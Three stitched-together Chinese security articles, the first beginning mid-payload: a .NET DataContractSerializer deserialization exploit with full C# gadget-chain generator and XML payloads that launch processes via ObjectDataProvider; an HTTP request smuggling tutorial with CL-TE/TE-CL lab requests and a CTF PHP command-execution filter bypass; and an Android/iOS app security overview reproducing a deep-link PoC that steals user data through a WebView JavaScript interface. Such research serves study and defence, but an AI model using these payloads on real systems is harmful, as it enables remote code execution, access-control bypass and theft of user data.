e3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4L</s>
</SessionViewState.SessionViewStateHistoryItem></root>
查看yso的代码
获取SessionViewState的内部类SessionViewStateHistoryItem
这个类的反序列化构造函数中直接进行LosFormatter反序列化
所以构造代码，info中直接填充`s`字段为LosFormatter序列化之后的字符串即可。
using Microsoft.VisualStudio.Text.Formatting;
using System;
using System.Collections.Specialized;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Text;
using System.Web.UI;
using System.Windows.Data;
using System.Windows.Markup;
using System.Xml;
namespace DataContractDeserialize
{
[Serializable]
public class SessionViewStateHistoryItemMarshal : ISerializable
{
public SessionViewStateHistoryItemMarshal(string strB64LosFormatterPayload)
{
B64LosFormatterPayload = strB64LosFormatterPayload;
}
private string B64LosFormatterPayload { get; }
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type myType_SessionViewState = Type.GetType("System.Web.UI.MobileControls.SessionViewState, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
Type[] nestedTypes = myType_SessionViewState.GetNestedTypes(BindingFlags.NonPublic | BindingFlags.Instance);
info.SetType(nestedTypes[0]); // to reach the SessionViewStateHistoryItem class (private)
info.AddValue("s", B64LosFormatterPayload);
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string cmd)
{
// ObjectDataProvider
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = "cmd.exe";
psi.Arguments = $"/c {cmd}";
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
_xaml = XamlWriter.Save(odp);
}
}
class Program
{
static void Main(string[] args)
{
WriteObject("a.xml");
ReadObject("a.xml");
Console.ReadKey();
}
public static void WriteObject(string fileName)
{
string losFormatterPayload;
using (MemoryStream memory = new MemoryStream())
{
LosFormatter losFormatter = new LosFormatter();
losFormatter.Serialize(memory, new TextFormattingRunPropertiesMarshal("calc"));
losFormatterPayload = Encoding.UTF8.GetString(memory.ToArray());
}
string payload = $@"<root type=""System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a""><SessionViewState.SessionViewStateHistoryItem xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns=""http://schemas.datacontract.org/2004/07/System.Web.UI.MobileControls"">
<s i:type=""x:string"" xmlns="""">{losFormatterPayload}</s>
</SessionViewState.SessionViewStateHistoryItem></root>";
File.WriteAllText(fileName, payload);
}
public static void ReadObject(string fileName)
{
string xml = File.ReadAllText(fileName);
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xml);
XmlNode rootNode = xmlDocument.SelectSingleNode("root");
XmlNode typeNode = rootNode.Attributes.GetNamedItem("type");
DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText));
dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml)));
}
}
}
# 审计
审计需要关注的是type的值是否可控。涉及到三个点：
1. type可以通过xml解析拿到type属性
2. 通过构造函数中的`IEnumerable<Type> knownTypes`参数控制type
3. 通过构造函数的`DataContractResolver`参数，审计自定义类型转换器对type的处理是否可控。
4. 构造函数的IDataContractSurrogate参数，关注其实现。 **这个在DataContractJsonSerializer一节中讲解，本文不讲。**
前两个不讲了，主要看后两个。当我们不可控制Type，但是Type实例中有松散的数据类型(如object类型)可控，那么如果使用了自定义的类型解析器DataContractResolver传入构造函数，并且自定义解析器中没有对type进行限制，那么仍然可以RCE。
using System;
using System.IO;
using System.Reflection;
using System.Runtime.Serialization;
using System.Text;
using System.Windows.Data;
using System.Xml;
namespace DataContractDeserialize
{
[DataContract]
class MyClass
{
[DataMember]
public object o;
}
[DataContract]
class ProcessClass
{
public void Start(string cmd)
{
Console.WriteLine(cmd);
}
}
class Program
{
static void Main(string[] args)
{
MyClass myClass = new MyClass();
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.MethodName = "Start";
objectDataProvider.MethodParameters.Add("calc");
objectDataProvider.ObjectInstance = new ProcessClass();
myClass.o = objectDataProvider;
DataContractSerializer ser = new DataContractSerializer(typeof(MyClass), null, int.MaxValue, true, false, null, new MyDataContractResolver());
using (MemoryStream memory = new MemoryStream())
{
ser.WriteObject(memory, myClass);
Console.WriteLine(Encoding.UTF8.GetString(memory.ToArray()));
}
using (MemoryStream memory1 = new MemoryStream(Encoding.UTF8.GetBytes(File.ReadAllText(@"C:\Users\ddd\source\repos\NetSerializer\DataContract\bin\Debug\a.xml"))))
{
ser.ReadObject(memory1);
}
//Console.WriteLine(Process.GetCurrentProcess().GetType().AssemblyQualifiedName);
Console.ReadKey();
}
}
internal class MyDataContractResolver : DataContractResolver
{
public override Type ResolveName(string typeName, string typeNamespace, Type declaredType, DataContractResolver knownTypeResolver)
{
Type type = Type.GetType(typeName, false);
if (type == null)
{
type = Assembly.Load(typeNamespace).GetType(typeName, false);
}
return type ?? knownTypeResolver.ResolveName(typeName, typeNamespace, declaredType, null);
}
public override bool TryResolveType(Type type, Type declaredType, DataContractResolver knownTypeResolver, out XmlDictionaryString typeName, out XmlDictionaryString typeNamespace)
{
typeName = new XmlDictionaryString(XmlDictionary.Empty, type.FullName, 0);
typeNamespace = new XmlDictionaryString(XmlDictionary.Empty, type.Assembly.FullName, 0);
return true;
}
}
}
看自己实现的类型解析器，在要序列化的对象类型不在knownTypes列表中，会触发自定义的类型解析器，将type和命名空间传入。
而我们自己写的类型解析器直接进行加载类型并返回，所以可以拿到对应的类型。相当于绕过了knownTypes
生成的xml如下
<MyClass xmlns="http://schemas.datacontract.org/2004/07/DataContractDeserialize"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<o i:type="a:System.Windows.Data.ObjectDataProvider"
xmlns:a="PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<IsInitialLoadEnabled xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">true</IsInitialLoadEnabled>
<ConstructorParameters i:type="a:MS.Internal.Data.ParameterCollection"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data"
xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<IsAsynchronous xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">false</IsAsynchronous>
<MethodName xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">Start</MethodName>
<MethodParameters i:type="a:MS.Internal.Data.ParameterCollection"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data"
xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:anyType i:type="c:System.String"
xmlns:c="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">calc</b:anyType>
</MethodParameters>
<ObjectInstance i:type="b:DataContractDeserialize.ProcessClass"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data"
xmlns:b="DataContract, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"/>
<ObjectType i:type="c:System.RuntimeType" z:FactoryType="c:System.UnitySerializationHolder"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data"
xmlns:b="http://schemas.datacontract.org/2004/07/System"
xmlns:c="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
<Data i:type="c:System.String"
xmlns="">DataContractDeserialize.ProcessClass</Data>
<UnityType i:type="c:System.Int32"
xmlns="">4</UnityType>
<AssemblyName i:type="c:System.String"
xmlns="">DataContract, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null</AssemblyName>
</ObjectType>
</o>
</MyClass>
把ObjectInstance的type替换为`System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral,
PublicKeyToken=b77a5c561934e089`，然后加上`__identity`字段，不然会报错。修改一下之后payload如下：
<MyClass xmlns="http://schemas.datacontract.org/2004/07/DataContractDeserialize"
xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<o i:type="a:System.Windows.Data.ObjectDataProvider"
xmlns:a="PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<IsInitialLoadEnabled xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">true</IsInitialLoadEnabled>
<ConstructorParameters i:type="a:MS.Internal.Data.ParameterCollection"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data"
xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
<IsAsynchronous xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">false</IsAsynchronous>
<MethodName xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">Start</MethodName>
<MethodParameters i:type="a:MS.Internal.Data.ParameterCollection"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data"
xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
<b:anyType i:type="c:System.String"
xmlns:c="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">calc</b:anyType>
</MethodParameters>
<ObjectInstance i:type="System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns="http://schemas.datacontract.org/2004/07/System.Windows.Data">
<__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
</ObjectInstance>
</o>
</MyClass>
然后反序列化就会触发Process的Start了。
# 后文
本文讲解了DataContractSerializer反序列化以及SessionViewStateHistoryItem攻击链，并且讲解了控制type的几种方法，其中对于DataContractResolver在Exchange
CVE-2021-28482反序列化漏洞有实际应用。 | 社区文章 |
## **前言：**
最近参加了一次线上赛，发现其中有一道web题蛮有意思，之前是一道国赛题的，这次是加了点WAF，但当时没有仔细学习过HTTP协议和HTTP走私协议，所以也就没有绕过WAF，这次就来弥补这个遗憾
## HTTP/1.1协议
#### 定义：
HTTP(超文本传输协议)：一种无状态的、应用层的、以请求/应答方式运行的协议，它使用可扩展的语义和自描述消息格式，与基于网络的超文本信息系统灵活的互动
HTTP协议工作于客户端-服务端架构之上。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后，向客户端发送响应信息。
之前对于HTTP协议的理解就仅限于此，但在了解HTTP请求走私后，发现其实HTTP并没有这么简单
客户端和服务器之间进行http请求时，请求和响应都是一个数据包，它们之间是需要一个传输的通道的所以会先创建tcp连接，只有当tcp连接之后，才能发送http请求
#### **TCP三次握手**
在创建过程当中，三次握手就是代表着有三次网络传输，客户端发送一次，然后服务端返回一次，然后客户端再发送一次，这个时候才创建了tcp连接，然后才能去发送http请求
而HTTP1.0协议和HTTP1.1协议之所以不同，一部分也在于此：
在HTTP1.0里面，这个连接是在http请求创建的时候，就去创建这个tcp连接，然后连接创建完之后，请求发送过去，服务器响应之后，这个tcp连接就关闭了
在HTTP1.1协议中，可以用`Keep-Alive`方法去申明这个连接可以一直保持，那么第二个http请求就没有三次握手的开销，而且相较于HTTP1.0，HTTP1.1有了`Pipeline`，客户端可以像流水线一样发送自己的HTTP请求，而不需要等待服务器的响应，服务器那边接收到请求后，需要遵循先入先出机制，将请求和响应严格对应起来，再将响应发送给客户端。
除此之外，这次对HTTP协议属性也有了更全面的了解
#### **HTTP属性**
状态码
200 OK //客户端请求成功
400 Bad Request //客户端请求有语法错误，不能被服务器所理解
401 Unauthorized //请求未经授权，这个状态代码必须和WWW-Authenticate报头域一起使用
403 Forbidden //服务器收到请求，但是拒绝提供服务
404 Not Found //请求资源不存在，eg：输入了错误的URL
500 Internal Server Error //服务器发生不可预期的错误
503 Server Unavailable //服务器当前不能处理客户端的请求，一段时间后可能恢复正常
请求头
Accept：
表示浏览器支持的MIME类型
Accept-Encoding：
浏览器支持的压缩类型
Accept-Language
浏览器支持的语言类型，并且优先支持靠前的语言类型
Connection
当浏览器与服务器通信时对于长连接如何进行处理：close/keep-alive
Cookie
向服务器返回cookie，这些cookie是之前服务器发给浏览器的
Host：
请求的服务器URL
User-Agent：
用户使用的客户端的一些必要信息，比如操作系统、浏览器及版本、浏览器渲染引擎等。
判断是否为ajax请求如果没有该属性则说明为传统请求
响应头
Server，服务端所使用的Web服务名称，如：Server：Apache/1.3.6(Unix)。
Set-Cookie：服务器向客户端设置的Cookie。
Last-Modified，服务器通过这个域告诉客户端浏览器，资源的最后修改时间。
Location：重定向用户到另一个页面，比如身份认证通过之后就会转向另一个页面。这个域通常配合302状态码使用。
Content-Length：body部分的长度（单位字节）。
## **HTTP请求走私**
#### **产生原因**
为了提升用户的浏览速度，提高使用体验，减轻服务器的负担，很多网站都用了CDN加速服务，最简单的加速服务，就是在源站的前面加上一个具有缓存功能的反向代理服务器，用户在请求某些静态资源时，直接从代理服务器中就可以获取到，不用再从源站所在服务器获取。这就有了一个很典型的拓扑结构
反向代理服务器与后端的源站服务器之间，会重用TCP链接，因为代理服务器与后端的源站服务器的IP地址是相对固定，不同用户的请求通过代理服务器与源站服务器建立链接，所以就顺理成章了
但是由于两者服务器的实现方式不同，如果用户提交模糊的请求可能代理服务器认为这是一个HTTP请求，然后将其转发给了后端的源站服务器，但源站服务器经过解析处理后，只认为其中的一部分为正常请求，剩下的那一部分就是走私的请求了，这就是HTTP走私请求的由来。
HTTP请求走私漏洞的原因是由于HTTP规范提供了两种不同方式来指定请求的结束位置，它们是`Content-Length`标头和`Transfer-Encoding`标头，`Content-Length`标头简单明了，它以字节为单位指定消息内容体的长度，例如：
POST / HTTP/1.1
Host: ac6f1ff11e5c7d4e806912d000080058.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: session=5n2xRNXtAYM9teOEn3jSkEDDabLe0Qv8
Content-Length: 35
a=11
`Transfer-Encoding`标头用于指定消息体使用分块编码（Chunked
Encode），也就是说消息报文由一个或多个数据块组成，每个数据块大小以字节为单位（十六进制表示）
衡量，后跟换行符，然后是块内容，最重要的是：整个消息体以大小为0的块结束，也就是说解析遇到0数据块就结束。如：
POST / HTTP/1.1
Host: ac6f1ff11e5c7d4e806912d000080058.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
a=11
0
其实理解起来真的很简单，相当于我发送请求，包含`Content-Length`，前端服务器解析后没有问题发送给后端服务器，但是我在请求时后面还包含了`Transfer-Encoding`，这样后端服务器进行解析便可执行我写在下面的一些命令，这样便可以绕过前端的waf。
## **四种常见走私请求**
#### **CL不为0的GET请求**
假设前端代理服务器允许GET请求携带请求体，而后端服务器不允许GET请求携带请求体，它会直接忽略掉GET请求中的`Content-Length`头，不进行处理。这就有可能导致请求走私。
#### **CL-CL**
假设中间的代理服务器和后端的源站服务器在收到类似的请求时，都不会返回400错误，但是中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理,这样便有可能引发请求走私。
#### **CL-TE**
所谓CL-TE，就是当收到存在两个请求头的请求包时，前端代理服务器只处理Content-Length这一请求头，而后端服务器会遵守RFC2616的规定，忽略掉Content-Length，处理Transfer-Encoding这一请求头。
#### **TE-CL**
所谓TE-CL，就是当收到存在两个请求头的请求包时，前端代理服务器处理Transfer-Encoding这一请求头，而后端服务器处理Content-Length请求头。
## **实验实战**
在这个网络环境中，前端服务器负责实现安全控制，只有被允许的请求才能转发给后端服务器，而后端服务器无条件的相信前端服务器转发过来的全部请求，对每个请求都进行响应
#### CL-TE绕过前端服务器安全控制
[实验环境](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te)
实验目的是让我们获取admin权限并删除用户carlos
直接访问`/admin`，会返回提示`Path /admin is blocked`,应该是前端服务器限制了，提示了这关实验属于
**CL-TE** ，那就用这种方法来做
POST / HTTP/1.1
Host: ac6f1ff11e5c7d4e806912d000080058.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: session=5n2xRNXtAYM9teOEn3jSkEDDabLe0Qv8
X-Forwarded-For: 8.8.8.8
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
foo: bar
上面已经了解后端服务器无条件的相信前端服务器转发过来的全部请求，所以`Content-Length:
38`先绕过前端服务器，而后端服务器检测出`Transfer-Encoding: chunked`并执行，到下面的0便结束，但后面还有`GET /admin
HTTP/1.1`，后端服务器会认为这是下一个请求，所以如果我们继续请求，后端服务器便会解析这个请求，从而达到我们查看admin目录的目的
但这里我尝试很多次也没有出现admin目录，但是大师傅确实是这样做就能绕过的，这点就先不深究了，就先了解攻击的具体方法
（参考大师傅的图片）师傅博客[HTTP协议攻击之走私请求](https://paper.seebug.org/1048/#51)
出现这段话，提示以管理员身份访问或者在本地登录才可以访问`/admin`，那就添加一个`Host: localhost`请求头
那接下来就来删除用户，只需对`/admin/delete?username=carlos`进行请求即可
**PS** :这里不成功就多请求几次，但我请求好多次都没有成功，但是攻击原理没有错，只能搬下师傅图片，大佬勿喷。
#### **使用TE-CL绕过前端服务器安全控制**
[实验环境](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
我们已经知道当收到存在两个请求头的请求包时，前端代理服务器处理`Transfer-Encoding`这一请求头，而后端服务器处理`Content-Length`请求头。
POST / HTTP/1.1
Host: ac491fe91ef65e09807a0dad006b002f.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: session=eqdBic2TizWiC3INHEQsWxwcMrrW6DAq
Content-Length: 96
Transfer-Encoding: chunked
aa
GET /admin//delete?username=carlos HTTP//1.1
Host: localhost
0
这里前端服务器先处理`Transfer-Encoding:
chunked`，一直到`0`，认为是读取完毕了，此时这个请求对代理服务器来说是一个完整的请求，然后转发给后端服务器，后端服务器对`Content-Lengrh`进行处理，当读取到`aa`时，就认为这个请求已经结束了，后面的数据就认为是另一个请求了，我们再次请求会便会执行这个请求`GET
/admin//delete?username=carlos HTTP//1.1`，其他的操作就和`CL-TE`一样
其他方法攻击也只需要理解其原理，便可以使用，接下来就通过这次的题来实践一下
## **题目实践**
这次线下赛的题是改编自国赛love_math，与之前的稍微有些不同，没有了长度限制，添加了前端waf
很明显是命令执行，但不能包含空格、制表符、换行、单双引号、反引号、`[]`、`$`，由于单双引号被禁用，我们无法从函数名中提取字符串，所以只能通过从函数的返回结果中获取。
翻阅文档查道`base_convert`函数
简单测试下，发现确实可以执行，`base_convert("phpinfo",36,10);`将36进制转换为10进制,然后将10进制转换为36进制那么就可以构造出来`phpinfo()`
这是师傅们的payload：
base_convert(2146934604002,10,36(hex2bin(dechex(47)).base_convert(25254448,10,36))
涉及到三个函数，dechex()将10进制转16进制，而hex2bin是将16进制转char，`scandir()`
函数返回一个数组，其中包含指定路径中的文件和目录，这里其实有一个疑问，为什么要先转成16再从16转字符来构造构造`‘/’`，那干脆从一开始直接用`chr`函数不就行了
所以这里可以使用php函数`readfile`等函数读取文件
具体payload：
var_dump(scandir(chr(47)));
查看根目录下的文件，这里就涉及到我们上面所学的HTTP请求走私，因为前端设置了waf，有些字符不能包含，否则会报403，就利用请求走私的方法来进行绕过
可以利用CL-CL进行绕过
中间代理服务器按照第一个Content-Length的值对请求进行处理，而后端源站服务器按照第二个Content-Length的值进行处理，也就是说如果我们同时拥有两个`Content-Length`，前端和后端都各自执行一次，所以我们构造如下
最终payload：
var_dump(readfile(chr(47).base_convert(25254448,10,36)));
除此之外，这道题还有另外一种方法可以解决：
我们在输入时发现`num`只能输入数字，输入字符无法解析
这里可以利用php的字符串解析特性绕过bypass，接下来利用`chr()`函数绕过特殊字符的限制来进行代码执行读flag即可
payload：
http://node3.buuoj.cn:28428/calc.php?%20num=1;var_dump(scandir(chr(47)))
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
具体可以参考
[利用PHP的字符串解析特性Bypass](https://www.freebuf.com/articles/web/213359.html) | 社区文章 |
# 2021年 Android & iOS App 安全还能做什么？
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一些漏洞已经 “can’t breathe”
说到移动 App 安全，很多人出现在脑海中的可能是 CVE-2012-6636，不得不说 6636
确实是个无比稳定且经典的漏洞，但漏洞都具有时效性，现在市场中的 Android App 在 WebSettings
都会对版本进行判断从而缓解该漏洞的影响，更重要的原因是该漏洞存在于 Android < 4.2，而当前主流 Android
操作系统版本已经是8.X。（数据来源
[https://developer.android.com/about/dashboards）](https://developer.android.com/about/dashboards)
与之对应 iOS 系统版本升级率则更高，81% iOS 13，13% iOS 12，更早版本只占6%。（数据来源
[https://developer.apple.com/support/app-store）](https://developer.apple.com/support/app-store)
类似的还有很多，比如：
* Android < 4.1 通过申请权限即可访问任意应用日志
* Android < 4.4 CVE-2012-6636 的衍生漏洞 CVE-2014-1939 和 CVE-2014-7224
* Android < 4.3 WebView setSavePassword 默认为 true 将用户密码保存到 databases/webview.db
* Android < 4.2 WebView setAllowFileAccessFromFileURLs 和setAllowUniversalAccessFromFileURLs 默认为 true ，可能会导致沙箱内任意文件被窃取
* Android < 4.2 Content Provider 默认导出
* 沙箱中允许创建任意应用可读可写文件
* Android < 4.4 可能存在的 Fragment Injection (CVE-2013-6271) 漏洞
* Android < 4.3 开发者在沙箱中可以创建 MODE_WORLD_WRITEABLE 或 MODE_WORLD_READABLE 的文件
虽然默认配置以上漏洞很难有用武之地，但不排除开发人员错误配置导致漏洞“重生”，典型的“克隆”攻击就是利用 WebView 主动开启
setAllowFileAccessFromFileURLs 和 setAllowUniversalAccessFromFileURLs
与 Android 相对应的 iOS 由于封闭生态以及 App Store 应用上架的严格审核很大程度缓解了应用层安全，但不乏降维打击如公开的
[Trident](https://blog.lookout.com/trident-pegasus)
就实现了远程越狱及恶意软件持久化等操作，其所使用的三个 0day
漏洞（CVE-2016-4655、CVE-2016-4656、CVE-2016-4657）在 9.3.5 中修复。虽然现在没人敢保证没有新的
[Trident](https://blog.lookout.com/trident-pegasus)，但有一点可以肯定的是随着版本的更新无疑使得漏洞利用越来越难，很大程度上规避了 App 的安全漏洞。
## 历史的车轮在不断前进
过去的十多年是移动蓬勃发展的时代，移动操作系统安全机制不断更新完善，应用开发技术也是日新月异。这段时间所有人经历了 Objective-C 到 Swift,
Java 到 Kotlin，传统的原生开发方式到多样开发模式，笔者仅在以下三个方面粗略的聊一聊。
### 多样化的开发模式
随着业务的多样 App 形式不再拘泥于原生开发模式，纯 Web 技术，Web 技术与原生混合 App，Instant Apps，小程序，flutter
等等都应运而生。其中很多模式都充分利用了 Web 技术的便捷，也无疑让 WebView（包括 iOS 的
UIWebView/WKWebView）承担更多角色。
### App 之间通信更频繁
Android 和 iOS 进程间可以实现应用间通信的机制有很多；典型的如四大组件中的 Content Provider，但当前 App
中使用却非常少。随着功能更加复杂多样简单的数据交互已经无法满足需求；应用之间相互割裂的情况被 Android 中的 Deep links/App
Links/Instant Apps 以及 iOS 中的 URL Scheme/Universal Link 所改变。在 Web
中点击一个链接就可以从一个网站跳入另一个网站一样，在移动设备上，无论是浏览器还是普通 App，通过系统的 IPC 机制就可以跳转到其他应用中。
### 云计算时代
蓬勃发展的不仅仅有移动网络，还有云计算。当前上云无疑是越来越多企业的选择，对于 CS 架构业务而言上云就是把更多的业务逻辑放在后端进行处理，所以 App
本身的逻辑越来越简化，Instant Apps 就是典型的代表，同时由于移动网络速度的提升开发人员不用再担心网络影响用户的体验；相信随着 5G
的到来，Web 技术会越来越多运用到 App 中。
老旧的漏洞 “can’t breathe”，但新技术新趋势又提供了新的攻击面以及攻击方式，攻防对抗还将继续。
## 漏洞剖析
笔者爬取了过去六年著名漏洞赏金平台 hackerone
所有与移动客户端相关的公开漏洞，选取近两年的漏洞进行分类和分析。所有漏洞被分为15个类型，占比最多也是本文会重点介绍的 Deep links/App
Links（对应 iOS 是 URL Scheme/Universal Link）相关漏洞，利用此类漏洞往往可以实现远程获取用户敏感信息如 Cookie
以及沙箱内任意文件，从漏洞赏金角度也能看出这一类型漏洞价值，白帽子 bagipro 凭借此类型漏洞多次获得
$6800,$7500,$10,000…（🍋）的高额赏金。
本文以 [#401793](https://hackerone.com/reports/401793) 为例子简单介绍下该漏洞的原理
<activity android:launchMode="2" android:name="com.grab.pax.deeplink.DeepLinkActivity" android:theme="@style/Transparent">
<intent-filter>
<data android:host="open" android:scheme="@string/deep_linking_schema_grab" />
<data android:host="open" android:scheme="@string/deep_linking_schema_grabtaxi" />
<data android:host="open" android:scheme="@string/deep_linking_schema_myteksi" />
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
</intent-filter>
</activity>
应用声明了一个导出的 Activity，但它不仅仅可以被其他应用调起更重要的是可以通过浏览器网页调起，也就满足了远程利用的前提，但需要 one click。
继续看应用逻辑：
as v0 = this.a.a().a(this.a, this.a.getIntent());
if(v0.a() == 1) {
this.a.startActivity(v0.a(0));
}
DeepLinkActivity 通过调用 getIntent().getData() 解析传入的 URI，传入不同的 URI
程序处理也不同，至此还没有安全问题，白帽子发现通过 screenType=HELPCENTER&page=xx 可以使用应用内嵌的 WebView 加载
URL，该 URL 可以由攻击者任意指定，看一下 WebView 相关设置：
WebSettings v0_3 = v0_2 != null ? v0_2.getSettings() : ((WebSettings)v1);
if(v0_3 != null) {
v0_3.setJavaScriptEnabled(true);
}
WebView 通过 setJavaScriptEnabled API 允许加载 JavaScript，从而可以实现 XSS，但客户端 XSS
默认危害相对较小，因为与 Web 安全中 XSS 最大的不同是移动客户端嵌入的 WebView 基本不会保存 Cookie/token 的，后端
Cookie 往往是由原生代码进行处理和传递。但如果只是一个普通的 XSS 厂商不会给如此高的奖金，漏洞的另一个至关重要的点是该 WebView
为了增加与原生代码的交互，自定义了接口，代码如下：
WebView v0_3 = this.getMWebView();
if(v0_3 != null) {
v0_3.addJavascriptInterface(new WebAppInterface(this), "Android");
}
...
@JavascriptInterface public final String getGrabUser() {
Object v0 = this.mActivity.get();
String v1 = null;
if(v0 != null) {
v1 = d.a(((ZendeskSupportActivity)v0).getMPresenter().getGrabUser());
a.a("" + Thread.currentThread().getName() + " : " + (">>>JavascriptInterface getGrabUser: " + v1), new Object[0]);
}
return v1;
}
其中 getGrabUser 函数会返回用户诸多个人信息，以下是白帽子给出的完整 PoC，首先构造一个调起目标 App
的网页链接发送给受害者，网页代码如下：
<!DOCTYPE html>
<html>
<head><title>Zaheck page 1</title></head>
<body style="text-align: center;">
<h1><a href="grab://open?screenType=HELPCENTER&page=https://s3.amazonaws.com/edited/page2.html">Begin Zaheck!</a></h1>
</body>
</html>
用户使用任意浏览器打开该网页会跳转到目标应用（此处可以通过模拟点击的方式，但在 iOS 需要点击确认），目标应用会自动加载传入的 URL，该 URL
内容如下：
<!DOCTYPE html>
<html>
<head><title>Zaheck page 2</title></head>
<body style="text-align: center;">
<script type="text/javascript">
var data;
if(window.Android) { // Android
data = window.Android.getGrabUser();
}
else if(window.grabUser) { // iOS
data = JSON.stringify(window.grabUser);
}
if(data) {
document.write("Stolen data: " + data);
}
</script>
</body>
</html>
该 PoC 其实并不完整，因为它仅将获取到的隐私信息显示在了网页而并没有上传到攻击者服务器，要实现也是非常简单，利用 ajax 请求即可，由于加载的 URL
hostname 已经是攻击者可控所以不存在跨域问题。注意该 PoC 是一个兼容 Android 与 iOS
双平台的，而且通常都是如此，因为两平台业务逻辑会保持一致，这也是该类型漏洞更加有趣的一面。
长亭移动安全团队在2017年也发现过类似的的漏洞，如
[CNNVD-201701-883](http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201701-883)，而且该漏洞为
